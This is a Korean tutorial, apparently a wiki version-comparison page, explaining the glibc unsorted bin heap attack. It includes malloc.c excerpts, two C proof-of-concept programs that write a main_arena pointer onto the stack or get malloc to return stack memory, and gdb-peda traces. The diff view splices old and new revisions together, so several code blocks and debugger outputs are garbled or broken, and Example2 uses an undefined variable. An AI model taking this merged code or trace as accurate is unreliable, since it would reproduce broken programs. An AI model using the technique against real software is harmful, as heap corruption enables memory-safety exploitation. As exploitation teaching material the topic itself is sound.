Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

Include Page
00.Notice
00.Notice

List

Table of Contents
outlinetrue
excludeList

Conditions

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 Unsorted chunk를 생성 할 수있어야 합니다.
    • 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
    • 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • 2개의 Heap(Small chunk)을 생성합니다.

    • 첫번째 Heap 영역을 해제합니다.

      • 해당 Heap 영역은 Unsort bin에 등록됩니다.
    • 해제된 첫번째 Heap의 bk 영역에 공격 대상이 될 주소 값을 덮어 씁니다.

      • bk 영역에 저장 값 계산
        • 32 bit : 공격 대상의 주소 값 - 8
        • 64 bit : 공격 대상의 주소 값 - 16
    • 첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당 합니다.

      • 이로 인해 공격 대상 영역에 main_arena 영역의 주소가 저장됩니다.

Exploit point

  • 아래의 malloc.c 코드에 의해 취약성이 발생합니다.
    • unsorted bin에 등록된 unsorted chunk의 bk값을 변경하여 victim의 값을 변경할 수 있습니다.
    • 변경된 victim의 bk영역에 저장된 값을 bck에 저장합니다.
    • 이로 인해 변경된 unsorted chunk의 bk값 + 0x10 영역에 main_arena.bins[0]에 저장된 값을 저장할 수 있습니다.(line 3511)

Unsorted bin attack

  • Unsorted bin attack을 이해하기 위해서는 malloc()이 unsorted bin에 등록된 chunk를 재할당 할때 해당 chunk를 unsorted bin의 list에서 삭제하는 방식에 대해 이해가 필요합니다.

  • 메모리 할당을 malloc()에 요청하면, 할당자는 요청한 메모리의 크기가 fast bin, small bin, large bin에서 사용 가능한 chunk가 있는지 확인합니다.
  • 할당자는 해당 bins에서 사용가능한 chunk를 찾지 못하면, unsorted_chunks (av)->bk가 가지고 있는 값과 unsorted_chunks (av)의 반환값이 다른 값인지 확인합니다.

    • 이 값들이 서로 다르다면 Unsorted bin에는 free chunk가 있다는 것을 나타냅니다.

    • Unsorted bin에 free chunk가 있다면 unsorted_chunks->bk의 값을 victim에 저장합니다.

    • 그리고 victim->bk가 가지고 있는 데이터는 bck에 저장합니다.

Code Block
languagecpp
firstline3473
title/release/2.25/master/malloc/malloc.c - _int_malloc()
linenumberstrue
  for (
Code Block
languagecpp
firstline3501
titlemalloc.c
linenumberstrue
  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
			...

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

			...
		}
Info
titleunsorted_chunks (av)

unsorted_chunks() 함수는 bin[0]에 저장된 값을 리턴 합니다.

Example

Files

Panel

Source code

  • unsorted_chunks (av)은 bin_at()를 호출여 반환된 값을 반환합니다.
    • bin_at()는 main_arena.bin[0]의 주소에서 16을 뺀 값을 반환합니다.
Code Block
languagecpp
firstline1504
title/release/2.25/master/malloc/malloc.c
linenumberstrue
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M)  
Code Block
languagecpp
#include <stdio.h>
#include <stdlib.h>

int main(){
        long state = 0;

        printf("Stack : %p\n", &state);
        char *buf1 = malloc(130);
        char *buf2 = malloc(500);

        free(buf1);

        scanf("%16s",buf1);

        buf1 = malloc(130);

bin_at (M, 1))
Code Block
languagecpp
firstline1372
title/release/2.25/master/malloc/malloc.c
linenumberstrue
/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))			      \
             if(state){
                printf("Hello world!\n");
        }
}

Exploit flow

Panel
titleunsorted bin attack

Image Removed

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x4006c6 : free() 함수 호출
    • 0x4006dc : scanf() 함수 호출
    • 0x4006e6 :  malloc() 함수 호출
    • 0x4006fd : put() 함수 호출
Code Block
titleBreak points
gdb-peda$ b *0x00000000004006c6
Breakpoint 1 at 0x4006c6
gdb-peda$ b *0x00000000004006dc
Breakpoint 2 at 0x4006dc
gdb-peda$ b *0x00000000004006e6
Breakpoint 3 at 0x4006e6
gdb-peda$ b *0x00000000004006fd
Breakpoint 4 at 0x4006fd
  • 다음과 같이 Heap 의 구조와 Unsorted bin의 상태를 확인할 수 있습니다.
    • Unsorted bin에 등록된 chunk는 없습니다.
Code Block
titlecheck of Unsorted bin and Heap
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/unsortedBinAttack 
Stack : 0x7fffffffe258

Breakpoint 1, 0x00000000004006c6 in main ()
gdb-peda$ p main_arena.bins[1]
$1 = (mchunkptr) 0x7ffff7dd37b8 <main_arena+88>

gdb-peda$ x/84gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000201
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000000
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000000000
0x602220:	0x0000000000000000	0x0000000000000000
0x602230:	0x0000000000000000	0x0000000000000000
0x602240:	0x0000000000000000	0x0000000000000000
0x602250:	0x0000000000000000	0x0000000000000000
0x602260:	0x0000000000000000	0x0000000000000000
0x602270:	0x0000000000000000	0x0000000000000000
0x602280:	0x0000000000000000	0x0000000000000000
0x602290:	0x0000000000000000	0x0000000000020d71
gdb-peda$
  • 다음과 같이 bk영역에 값을 덮어쓸수 있습니다.
    • 첫번째 Heap 영역이 해제되어 Unsorted bin에 등록되었습니다.
    • 첫번째 Heap 영역이 Free chunk로 변경되었으며, 해당 영역을 덮어쓸 수 있습니다.
      • 'A' * 8 + 'B' * 8 개의 문자를 입력
    • Unsorted bin attack을 확인하기 위해 아래와 같이 값을 변경합니다.
      • 0x602010 : 0x00007ffff7dd37b8

      • 0x602018 : state addr(0x7fffffffe258) - 16 = 0x00007fffffffe248
- offsetof (struct malloc_chunk, fd))
  • 할당자는 Unsorted list에 배치된 chunk를 재할당 한후, chunk를 unsorted list에서 삭제할 때 bck가 가지고 있는 데이터를 main_arena.bin[0]->bk에 저장합니다.
    • 그리고 할당자는 unsorted_chunks()이 반환한 값을 bck→fd에 저장합니다.
Code Block
languagecpp
firstline3522
title/release/2.25/master/malloc/malloc.c - _int_malloc()
linenumberstrue
          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
  • 예를 들어 다음과 같이 unsorted_chunks (av)가 반환한 값이 0x7ffff7dd1b78이고, unsorted_chunks (av)->bk의 값은 0x602000입니다.

    • 두 값은 서로 다르기 때문에 할당자는 "0x602000->bk"에 보관된 주소(0x00007ffff7dd1b78)를 bck에 저장합니다.
  • 그리고 할당자는 unsorted list에 있는 chunk를 재할당합니다.
    • 해당 chunk를 unsorted list에서 제거하기 위해 할당자는 "bck"에 보관된 주소(0x00007ffff7dd1b78)를 unsorted_chunks (av)->bk에 저장합니다.
    • 그리고 unsorted_chunks(av)가 반환한 값(0x7ffff7dd1b78)은 bck→fd에 저장합니다.
Panel

Image Added

  • Unsorted bin attack은 할당자가 Unsorted list에서 chunk를 삭제하기 전에, free chunk의 bk에 값을 덮어써서 원하는 영역에 main_arena의 주소("&main_arena.bin[0] - 16")를 저장하는 기술입니다.

  • 공격자가 stack 주소(0x7fffffffe248)를 Unsorted list에 등록된 chunk의 "bk"에 덮어쓰면, 할당자는 bck에 보관된 주소가 0x7fffffffe248이기 때문에 unsorted_chunks()가 반환한 주소를 bck→fd(0x7fffffffe258)에 저장합니다.

Panel
titleUnsorted bin attack flow

Image Added

Example

Example1

  • 다음 코드는 state에 0을 저장하고, 크키가 130byte인 메모리 2개 할당받고 처음 할당받은 메모리를 해제합니다.
    • "((char*)&state) - 16"을 연산한 값을 buf1[1]에 저장한 후 크기가 130byte인 메모리 할당을 요청합니다.
    • 그리고 "state"에 값이 있다면 메시지를 출력합니다.
Code Block
languagecpp
titleUnsorted_bin.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(){
    unsigned long long state = 0;
 
    fprintf(stderr,"Stack : %p\n", &state);
    unsigned long long *buf1 = malloc(130);
    char *buf2 = malloc(500);
 
    free(buf1);
 
    buf1[1] = (unsigned long long)(((char*)&state) - 16);
    buf1 = malloc(130);
 
    if(state){
        fprintf(stderr,"Hello world!\n");
    }
}
  • 0x4006ec, 0x4006fa에서 할당된 메모리의 주소를 확인합니다.
    • 0x40070a에서 Unsorted bin의 list에 등록된 chunk의 fd,bk의 데이터를 확인합니다.
    • 0x40071a에서 Unsorted bin attack을 위해 free chunk의 bk에 덮어쓰여진 값을 확인합니다.
    • 0x400727에서 main_arena의 주소가 stack에 저장되어 있는지 확인합니다.
Code Block
titleBreakpoints
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin
Reading symbols from ./unsorted_bin...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0x20
   0x00000000004006ae <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006b7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bb <+21>:	xor    eax,eax
   0x00000000004006bd <+23>:	mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004006c5 <+31>:	mov    rax,QWORD PTR [rip+0x200994]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006cc <+38>:	lea    rdx,[rbp-0x20]
   0x00000000004006d0 <+42>:	mov    esi,0x4007f4
   0x00000000004006d5 <+47>:	mov    rdi,rax
   0x00000000004006d8 <+50>:	mov    eax,0x0
   0x00000000004006dd <+55>:	call   0x400570 <fprintf@plt>
   0x00000000004006e2 <+60>:	mov    edi,0x82
   0x00000000004006e7 <+65>:	call   0x400580 <malloc@plt>
   0x00000000004006ec <+70>:	mov    QWORD PTR [rbp-0x18],rax
   0x00000000004006f0 <+74>:	mov    edi,0x1f4
   0x00000000004006f5 <+79>:	call   0x400580 <malloc@plt>
   0x00000000004006fa <+84>:	mov    QWORD PTR [rbp-0x10],rax
   0x00000000004006fe <+88>:	mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400702 <+92>:	mov    rdi,rax
   0x0000000000400705 <+95>:	call   0x400540 <free@plt>
   0x000000000040070a <+100>:	mov    rax,QWORD PTR [rbp-0x18]
   0x000000000040070e <+104>:	lea    rdx,[rax+0x8]
   0x0000000000400712 <+108>:	lea    rax,[rbp-0x20]
   0x0000000000400716 <+112>:	sub    rax,0x10
   0x000000000040071a <+116>:	mov    QWORD PTR [rdx],rax
   0x000000000040071d <+119>:	mov    edi,0x82
   0x0000000000400722 <+124>:	call   0x400580 <malloc@plt>
   0x0000000000400727 <+129>:	mov    QWORD PTR [rbp-0x18],rax
   0x000000000040072b <+133>:	mov    rax,QWORD PTR [rbp-0x20]
   0x000000000040072f <+137>:	test   rax,rax
   0x0000000000400732 <+140>:	je     0x400752 <main+172>
   0x0000000000400734 <+142>:	mov    rax,QWORD PTR [rip+0x200925]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x000000000040073b <+149>:	mov    rcx,rax
   0x000000000040073e <+152>:	mov    edx,0xd
   0x0000000000400743 <+157>:	mov    esi,0x1
   0x0000000000400748 <+162>:	mov    edi,0x400800
   0x000000000040074d <+167>:	call   0x400590 <fwrite@plt>
   0x0000000000400752 <+172>:	mov    eax,0x0
   0x0000000000400757 <+177>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x000000000040075b <+181>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000400764 <+190>:	je     0x40076b <main+197>
   0x0000000000400766 <+192>:	call   0x400550 <__stack_chk_fail@plt>
   0x000000000040076b <+197>:	leave  
   0x000000000040076c <+198>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006ec
Breakpoint 1 at 0x4006ec
gdb-peda$ b *0x00000000004006fa
Breakpoint 2 at 0x4006fa
gdb-peda$ b *0x000000000040070a
Breakpoint 3 at 0x40070a
gdb-peda$ b *0x000000000040071a
Breakpoint 4 at 0x40071a
gdb-peda$ b *0x0000000000400727
Breakpoint 5 at 0x400727
gdb-peda$
  • 프로그램은 같은 크기의 메모리를 2개 할당받았습니다.
    • 각 메모리의 주소는 0x602010, 0x6020a0 입니다.
Code Block
titleAllocated memory
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/unsorted_bin 
Stack : 0x7fffffffe450

Breakpoint 1, 0x00000000004006ec in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004006fa in main ()
gdb-peda$ i r rax
rax            0x6020a0	0x6020a0

gdb-peda$
  • 할당받은 첫번째 메모리(0x602010)의 해제를 free()에 요청하면, 해당 chunk가 unsorted list에 배치됩니다.

    • "(char*)&main_arena.bins[0] - 16"가 해당 chunk의 fd, bk에 저장됩니다.

Code Block
titleAfter freeing memory
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040070a in main ()
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ x/4gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>:	0x0000000000602290	0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:	0x0000000000602000	0x0000000000602000
gdb-peda$ c
Continuing.
  • Unsorted bin attack를 위해 stack 영역의 주소를 ree chunk의 bk에 저장합니다.
Code Block
titleOverwrite the value to "bck-fd".
Breakpoint 4, 0x000000000040071a in main ()
gdb-peda$ x/i $rip
=> 0x40071a <main+116>:	mov    QWORD PTR [rdx],rax
gdb-peda$ i r rdx
rdx            0x602018	0x602018
gdb-peda$ i r rdx rax
rdx            0x602018	0x602018
rax            0x7fffffffe440	0x7fffffffe440
gdb-peda$ ni

0x000000000040071d in main ()
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007fffffffe440
gdb-peda$ x/4gx 0x00007fffffffe440
0x7fffffffe440:	0x00007fffffffe550	0x000000000040070a
0x7fffffffe450:	0x0000000000000000	0x0000000000602010
gdb-peda$ 
  • Unsorted list에 배치된 chunk를 할당받기 위해 malloc()에 메모리 할당을 요청합니다.

    • 메모리 할당 후에 "&main_arena[0] - 16"이 변수"state"(0x7fffffffe450)에 저장되었습니다.

    • 변수 "state"가 가지고 있는 값이 0이 아니기 때문에 화면에 메시지를 출력합니다.
Code Block
titleStore data in the stack
Breakpoint 5, 0x0000000000400727 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007fffffffe440
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x7fffffffe440
gdb-peda$ x/4gx 0x00007fffffffe440
0x7fffffffe440:	0x00007fffffffe470	0x0000000000400727
0x7fffffffe450:	0x00007ffff7dd1b78	0x0000000000602010

gdb-peda$ c
Continuing.
Hello world!
[Inferior 1 (process 124614) exited normally]
Warning: not running
gdb-peda$ 

Example2

  • 이 코드는 "Unsorted_bin.c"와 기본적인 동작은 동일합니다.

    • 다른 부분은 Fake chunk의 주소를 bck→fd에 저장한다는 것입니다.

    • fake chunk의 크기를 stack_var[0]에 저장되고, 변수 stack_var의 주소(fd)를 stack_var[2]에 저장합니다.

    • stack_var의 주소에서 8뺀 주소를 buf1[1]에 저장합니다.

      • buf1[1]는 bck→fd입니다.
    • 프로그램은 malloc()에게 Unsorted bin의 list에 있는 청크와 동일한 크기의 메모리 할당을 요청합니다.
    • 그리고 malloc()에게 다시 메모리 할당을 요청합니다.
Code Block
languagecpp
titleUnsorted_bin_into_stack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(){
    unsigned long long stack_var[3] = {0};

    fprintf(stderr,"Stack : %p\n", &state);
    unsigned long long *buf1 = malloc(130);
    char *buf2 = malloc(500);
 
    free(buf1);

    stack_var[0] = 0x90;
    stack_var[2] = (unsigned long long)stack_var;

    buf1[1] = (unsigned long long)(((char*)&stack_var) - 8);
    buf1 = malloc(130);
    char *buf3 = malloc(130);
 
    read(STDIN_FILENO,buf3,130);
}
  • 0x40071a에서 Unsorted list에 등록된 chunk와 Stack에 생성된 Fake chunk를 확인합니다.

    • 0x40073a에서 free chunk의 bk를 덮어쓰는 값을 확인합니다.

    • 0x400747, 0x400755에서 Unsorted bin의 변화와 반환된 pointer를 확인합니다.

    • 0x40076a에서 malloc()으로 부터 할당된 메모리가 사용이 가능한지 확인합니다.

Code Block
titleBreakpoints
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin_into_stack
Reading symbols from ./unsorted_bin_into_stack...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0x40
   0x00000000004006ae <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006b7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bb <+21>:	xor    eax,eax
   0x00000000004006bd <+23>:	mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004006c5 <+31>:	mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004006cd <+39>:	mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004006d5 <+47>:	mov    rax,QWORD PTR [rip+0x200984]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006dc <+54>:	lea    rdx,[rbp-0x20]
   0x00000000004006e0 <+58>:	mov    esi,0x400814
   0x00000000004006e5 <+63>:	mov    rdi,rax
   0x00000000004006e8 <+66>:	mov    eax,0x0
   0x00000000004006ed <+71>:	call   0x400580 <fprintf@plt>
   0x00000000004006f2 <+76>:	mov    edi,0x82
   0x00000000004006f7 <+81>:	call   0x400590 <malloc@plt>
   0x00000000004006fc <+86>:	mov    QWORD PTR [rbp-0x38],rax
   0x0000000000400700 <+90>:	mov    edi,0x1f4
   0x0000000000400705 <+95>:	call   0x400590 <malloc@plt>
   0x000000000040070a <+100>:	mov    QWORD PTR [rbp-0x30],rax
   0x000000000040070e <+104>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400712 <+108>:	mov    rdi,rax
   0x0000000000400715 <+111>:	call   0x400540 <free@plt>
   0x000000000040071a <+116>:	mov    QWORD PTR [rbp-0x20],0x90
   0x0000000000400722 <+124>:	lea    rax,[rbp-0x20]
   0x0000000000400726 <+128>:	mov    QWORD PTR [rbp-0x10],rax
   0x000000000040072a <+132>:	mov    rax,QWORD PTR [rbp-0x38]
   0x000000000040072e <+136>:	lea    rdx,[rax+0x8]
   0x0000000000400732 <+140>:	lea    rax,[rbp-0x20]
   0x0000000000400736 <+144>:	sub    rax,0x8
   0x000000000040073a <+148>:	mov    QWORD PTR [rdx],rax
   0x000000000040073d <+151>:	mov    edi,0x82
   0x0000000000400742 <+156>:	call   0x400590 <malloc@plt>
   0x0000000000400747 <+161>:	mov    QWORD PTR [rbp-0x38],rax
   0x000000000040074b <+165>:	mov    edi,0x82
   0x0000000000400750 <+170>:	call   0x400590 <malloc@plt>
   0x0000000000400755 <+175>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400759 <+179>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040075d <+183>:	mov    edx,0x82
   0x0000000000400762 <+188>:	mov    rsi,rax
   0x0000000000400765 <+191>:	mov    edi,0x0
   0x000000000040076a <+196>:	call   0x400560 <read@plt>
   0x000000000040076f <+201>:	mov    eax,0x0
   0x0000000000400774 <+206>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400778 <+210>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000400781 <+219>:	je     0x400788 <main+226>
   0x0000000000400783 <+221>:	call   0x400550 <__stack_chk_fail@plt>
   0x0000000000400788 <+226>:	leave  
   0x0000000000400789 <+227>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040071a
Breakpoint 1 at 0x40071a
gdb-peda$ b *0x000000000040073a
Breakpoint 2 at 0x40073a
gdb-peda$ b *0x0000000000400747
Breakpoint 3 at 0x400747
gdb-peda$ b *0x0000000000400755
Breakpoint 4 at 0x400755
gdb-peda$ b *0x000000000040076a
Breakpoint 5 at 0x40076a
gdb-peda$
  • 프로그램은 malloc()에 2개의 메모리 할당을 요청하고 첫번째 메모리를 해제합니다.
    • 해제된 메모리(0x602000)는 Unsorted list에 배치됩니다.
Code Block
titlePlace chunks in the Unsorted list
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/unsorted_bin_into_stack 
Stack : 0x7fffffffe430

Breakpoint 1, 0x000000000040071a in main ()
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[1]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ x/4gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>:	0x0000000000602290	0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:	0x0000000000602000	0x0000000000602000
gdb-peda$ 
  • Unsorted bin attack를 통해 메모리(Stack)를 할당받기 위해서는 Stack에 Free chunk와 같은 형태의 Fake chunk가 필요합니다.
    • 프로그램은 Fake chunk를 만들기 위해 stack_var[0](0x7fffffffe430)에 0x90을 저장하고, stack_var[2](0x7fffffffe440)에 stack_var의 주소를 저장합니다.
    • 0x7fffffffe430는 Fake chunk의 size가 되고, 0x7fffffffe440는 Fake chunk의 bk가 됩니다.
Code Block
titleCreate fake chunk
gdb-peda$ x/3i $rip
=> 0x40071a <main+116>:	mov    QWORD PTR [rbp-0x20],0x90
   0x400722 <main+124>:	lea    rax,[rbp-0x20]
   0x400726 <main+128>:	mov    QWORD PTR [rbp-0x10],rax
gdb-peda$ i r rbpx
rbp            0x7fffffffe450	0x7fffffffe450
gdb-peda$ p/x 0x7fffffffe450 - 0x20
$3 = 0x7fffffffe430
gdb-peda$ ni

0x0000000000400722 in main ()
gdb-peda$ 

0x0000000000400726 in main ()
gdb-peda$ x/i $rip
=> 0x400726 <main+128>:	mov    QWORD PTR [rbp-0x10],rax
gdb-peda$ i r rbp
rbp            0x7fffffffe450	0x7fffffffe450
gdb-peda$ p/x 0x7fffffffe450 - 0x10
$8 = 0x7fffffffe440
gdb-peda$ i r rax
rax            0x7fffffffe430	0x7fffffffe430
gdb-peda$ ni

0x000000000040072a in main ()
gdb-peda$ x/4gx 0x7fffffffe430
0x7fffffffe430:	0x0000000000000090	0x0000000000000000
0x7fffffffe440:	0x00007fffffffe430	0x1fe450c974875300
gdb-peda$ 
  • main_arena.bins[0]->bk(0x602018)에 fake chunk의 주소(0x7fffffffe428)를 저장합니다.
    • 이로 인해 main_arena.bins[0]->bk에 저장된 데이터는 fake chunk의 주소(0x7fffffffe428)가 됩니다.
Code Block
titleStore the address of the fake chunk in the main_rena.bins[ 0 ]->bk.
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040073a in main ()
gdb-peda$ x/i $rip
=> 0x40073a <main+148>:	mov    QWORD PTR [rdx],rax
gdb-peda$ i r rdx rax
rdx            0x602018	0x602018
rax            0x7fffffffe428	0x7fffffffe428
gdb-peda$ x/4gx 0x7fffffffe428
0x7fffffffe428:	0x0000000000000000	0x0000000000000090
0x7fffffffe438:	0x0000000000000000	0x00007fffffffe430
gdb-peda$ p &main_arena.bins[0]->bk
$11 = (struct malloc_chunk **) 0x602018
gdb-peda$ ni

0x000000000040073d in main ()
gdb-peda$ p main_arena.bins[0]->bk
$4 = (struct malloc_chunk *) 0x7fffffffe428
gdb-peda$ ni

0x000000000040073d in main ()
gdb-peda$ x/4gx
Code Block
titleOverwrite for fd and bk
gdb-peda$ c

Continuing.
Breakpoint 2, 0x00000000004006dc in main ()

gdb-peda$ p main_arena.bins[1]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/6gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0x602020:	0x0000000000000000	0x0000000000000000

gdb-peda$ ni
AAAAAAAABBBBBBBB

gdb-peda$ x/6gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x4141414141414141	0x4242424242424242
0x602020:	0x0000000000000000	0x0000000000000000

0x00000000004006e1 in main ()
gdb-peda$ set *0x602010 = 0x00007ffff7dd37b8
gdb-peda$ set *0x602014 = 0x00007fff
gdb-peda$ set *0x602018 = 0x7fffffffe258 - 16
gdb-peda$ set *0x60201c = 0x7fff
gdb-peda$ x/6gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd37b8	0x00007fffffffe248
0x602020:	0x0000000000000000	0x00000000000000000x00007ffff7dd1b78	0x00007fffffffe428
gdb-peda$
  • 다음과 같이 state 변수에 값이 저장되었습니다.
    • 해제된 첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당해서 state변수에 값이 저장되었습니다.
    • 저장된 값은 main_arena+88 영역의 주소 값입니다.
    • main_arena+88 영역은  main_arena의 top영역입니다.
  • 이러한 현상은 free chunk의 bk영역에 덮어썻기 때문입니다.
    • free() 함수에서 덮어쓴 bk값을 확인하고 다음 Chunk가 존재한다고 판단했기 때문입니다.
    • free() 함수는 0x00007fffffffe248 영역이 다음 chunk이기 때문에 fd 영역(0x7fffffffe258)에 free chunk의 fd값(0x7ffff7dd37b8)을 저장합니다.
 
  • 크기가 130byte인 메모리 할당을 malloc()에 요청하면 할당자는 Unsorted list에 배치된 chunk를 재할당 합니다.
    • 할당자는 메모리를 재할당한 후에 Unsorted list에서 해당 chunk를 제거하고, Unsorted bin의 list를 갱신합니다.
    • 이로 인해 Fake chunk의 주소가 main_arena.bins[1]에 저장됩니다.
  • 그리고 다시 한번 같은 크기의 메모리 할당을 요청하면 stack 메모리(0x7fffffffe438)를 반환합니다.
    • 해당 주소는 Fake chunk→fd의 주소입니다.
Code Block
titleMemory is allocated in the stack space.
gdb-peda$ p main_arena.bins[1]
$14 = (mchunkptr) 0x602000
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000000000400747 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.bins[0]
$6 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[1]
$7 = (mchunkptr) 0x7fffffffe428
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400755
Code Block
titleThe value of State variable changed
gdb-peda$ c
Continuing.

Breakpoint 3, 0x00000000004006e6 in main ()
gdb-peda$ x/gx 0x7fffffffe258
0x7fffffffe258:	0x0000000000000000

gdb-peda$ ni
0x00000000004006eb in main ()

gdb-peda$ i x/gxr 0x7fffffffe258
0x7fffffffe258:	0x00007ffff7dd37b8
gdb-peda$ x/gx 0x00007ffff7dd37b8
0x7ffff7dd37b8 <main_arena+88>:	0x0000000000602290
gdb-peda$ p &main_arena.top 
$3 = (mchunkptr *) 0x7ffff7dd37b8 <main_arena+88>rax
rax            0x7fffffffe438	0x7fffffffe438
gdb-peda$ p main_arena.bins[1]
$10 = (mchunkptr) 0x7fffffffe248
gdb-peda$ x/4gx 0x7fffffffe438
0x7fffffffe438:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x7fffffffe448:	0x33834f49afabc500	0x0000000000400790
gdb-peda$ p main_arena.bins[1]
$20 = (mchunkptr) 0x7fffffffe430
gdb-peda$ 
  • 할당받은 stack 메모리에 값을 저장할
  • 다음과 같이 프로그램에서 문장을 출력합니다.
    • state 변수의 값이 저장되어 if()의 조건을 만족시켰습니다.
